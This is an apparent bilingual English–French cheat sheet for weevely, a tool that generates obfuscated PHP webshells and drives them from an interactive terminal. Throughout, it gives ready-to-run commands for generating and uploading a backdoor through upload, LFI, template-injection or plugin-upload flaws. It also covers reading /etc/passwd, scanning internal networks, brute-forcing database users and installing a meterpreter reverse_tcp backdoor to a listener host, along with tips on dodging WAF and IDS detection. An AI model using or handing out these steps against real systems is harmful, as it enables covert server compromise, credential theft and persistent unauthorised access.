weevely

Webshell PHP furtif avec des fonctionnalités C2 intégrées. Génère des backdoors PHP obfusquées et fournit un shell interactif avec des modules pour la gestion de fichiers, le pivoting et l'élévation de privilèges. Stealth PHP webshell with built-in C2 features. Generates obfuscated PHP backdoors and provides an interactive shell with modules for file management, pivoting, and privilege escalation.

↗ https://github.com/epinna/weevely3

Overview

weevely generates obfuscated PHP backdoors and manages them via an interactive terminal. The generated PHP shell is small, hard to detect, and communicates over HTTP using steganography techniques. It includes dozens of built-in modules for file management, network pivoting, credential harvesting, and more.

Basic Usage

Generate a backdoor

weevely generate P@ssw0rd /tmp/shell.php

Connect to deployed backdoor

weevely http://target.com/shell.php P@ssw0rd

Connect and run a command immediately

weevely http://target.com/shell.php P@ssw0rd "whoami"

Deploying the Backdoor

Generate shell (password-protected)

weevely generate secretpassword /tmp/backdoor.php
# Upload via:
# - File upload vulnerability
# - PHP file inclusion + LFI
# - Server-side template injection
# - FTP/SSH if credentials found
# - WordPress/Joomla plugin upload

Minimal example: upload backdoor.php to webroot Then connect:

weevely http://target.com/backdoor.php secretpassword

Interactive Shell Features

# Inside weevely shell:

Run system command

:system whoami
# File operations
:file_ls /var/www/html/
:file_read /etc/passwd
:file_write /tmp/test.txt "hello"

Network pivoting

:net_scan 192.168.1.0/24

Persistence

:backdoor_meterpreter --payload php/meterpreter/reverse_tcp \
  --lhost 10.10.10.50 --lport 4444 --file /tmp/meterpreter.php

Database interaction

:sql_console -user root -passwd '' -dbms mysql
# Audit mode (fingerprint the environment)
:audit_filesystem
:audit_phpconf
:audit_suidsgid

Built-in Modules

List all modules

help
# Categories:
# audit      — system audit and enumeration
# backdoor   — install additional backdoors
# bruteforce — brute force local services
# file       — file management
# net        — network operations
# shell      — shell execution
# sql        — database interaction
# system     — system information
# stealth    — anti-detection techniques
# upload     — file upload helpers
:audit_suidsgid                # Find SUID/SGID files
:bruteforce_sqlusers           # Brute-force DB users
:file_tar                      # Create/extract archives
:net_phpproxy                  # PHP proxy for pivoting
:net_scan                      # Network scanner
:shell_sh                      # Shell session
:sql_console                   # MySQL/PostgreSQL console
:system_info                   # System fingerprint

Evasion Features

# Generated shell characteristics:
# - Obfuscated variable names
# - Base64 encoded payload
# - Steganographic HTTP communication
# - Password-protected (blowfish encrypted)
# - Small footprint (~150 bytes)

# The communication uses HTTP GET/POST with
# steganographically hidden commands in normal-looking
# web traffic — harder to detect than raw shell commands

Tips

  • weevely shells survive server reboots — they’re just files on disk
  • Generated shells are highly obfuscated but not invisible to modern WAFs
  • Use :net_phpproxy to chain through multiple servers for pivoting
  • The PHP shell communicates via legitimate-looking HTTP — low IDS detection
  • Always set a strong password — default “password” gets your shell stolen
Help / Man page
weevely generate <password> <output_file>
weevely <url> <password> [command]

generate:
  password      Encryption password for the shell
  output_file   Path to save the PHP backdoor file

connect:
  url           URL of the deployed backdoor
  password      Password set during generation
  command       Optional: run this command and exit

Inside shell:
  :help         List all modules
  :module_name  Run a module (use tab for autocomplete)
  exit          Disconnect

Vue d’ensemble

weevely génère des backdoors PHP obfusquées et les gère via un terminal interactif. Le shell PHP généré est petit, difficile à détecter, et communique via HTTP en utilisant des techniques de stéganographie. Il inclut des dizaines de modules intégrés pour la gestion de fichiers, le pivoting réseau, la récolte d’identifiants, et plus.

Utilisation de base

# Générer une backdoor
weevely generate P@ssw0rd /tmp/shell.php

# Se connecter à une backdoor déployée
weevely http://target.com/shell.php P@ssw0rd

# Se connecter et exécuter une commande immédiatement
weevely http://target.com/shell.php P@ssw0rd "whoami"

Déploiement de la backdoor

# Générer le shell (protégé par mot de passe)
weevely generate secretpassword /tmp/backdoor.php

# Téléverser via :
# - une vulnérabilité d'upload de fichier
# - inclusion de fichier PHP + LFI
# - injection de template côté serveur
# - FTP/SSH si des identifiants ont été trouvés
# - upload de plugin WordPress/Joomla

Exemple minimal : téléverser backdoor.php dans le webroot, puis se connecter

weevely http://target.com/backdoor.php secretpassword

Fonctionnalités du shell interactif

# Dans le shell weevely :

# Exécuter une commande système
:system whoami

# Opérations sur les fichiers
:file_ls /var/www/html/
:file_read /etc/passwd
:file_write /tmp/test.txt "hello"

# Pivoting réseau
:net_scan 192.168.1.0/24

# Persistance
:backdoor_meterpreter --payload php/meterpreter/reverse_tcp \
  --lhost 10.10.10.50 --lport 4444 --file /tmp/meterpreter.php

# Interaction avec la base de données
:sql_console -user root -passwd '' -dbms mysql

# Mode audit (empreinte de l'environnement)
:audit_filesystem
:audit_phpconf
:audit_suidsgid

Modules intégrés

Lister tous les modules

help
# Catégories :
# audit      : audit et énumération système
# backdoor   : installer des backdoors supplémentaires
# bruteforce : brute-forcer des services locaux
# file       : gestion de fichiers
# net        : opérations réseau
# shell      : exécution de shell
# sql        : interaction avec base de données
# system     : informations système
# stealth    : techniques anti-détection
# upload     : assistants d'upload de fichiers

:audit_suidsgid                # Trouver les fichiers SUID/SGID
:bruteforce_sqlusers           # Brute-forcer les utilisateurs de la BDD
:file_tar                      # Créer/extraire des archives
:net_phpproxy                  # Proxy PHP pour le pivoting
:net_scan                      # Scanner réseau
:shell_sh                      # Session shell
:sql_console                   # Console MySQL/PostgreSQL
:system_info                   # Empreinte système

Fonctionnalités d’évasion

# Caractéristiques du shell généré :
# - noms de variables obfusqués
# - payload encodé en base64
# - communication HTTP stéganographique
# - protégé par mot de passe (chiffrement blowfish)
# - faible empreinte (~150 octets)

# La communication utilise des GET/POST HTTP avec des commandes
# cachées de façon stéganographique dans un trafic web d'apparence
# normale : plus difficile à détecter que des commandes de shell brutes

Conseils

  • Les shells weevely survivent aux redémarrages du serveur : ce ne sont que des fichiers sur disque
  • Les shells générés sont fortement obfusqués mais pas invisibles aux WAF modernes
  • Utiliser :net_phpproxy pour chaîner plusieurs serveurs lors du pivoting
  • Le shell PHP communique via un trafic HTTP d’apparence légitime : faible détection IDS
  • Toujours définir un mot de passe fort : le mot de passe par défaut « password » fait voler votre shell
Aide / Page de manuel
weevely generate <password> <output_file>
weevely <url> <password> [command]

generate:
  password      Encryption password for the shell
  output_file   Path to save the PHP backdoor file

connect:
  url           URL of the deployed backdoor
  password      Password set during generation
  command       Optional: run this command and exit

Inside shell:
  :help         List all modules
  :module_name  Run a module (use tab for autocomplete)
  exit          Disconnect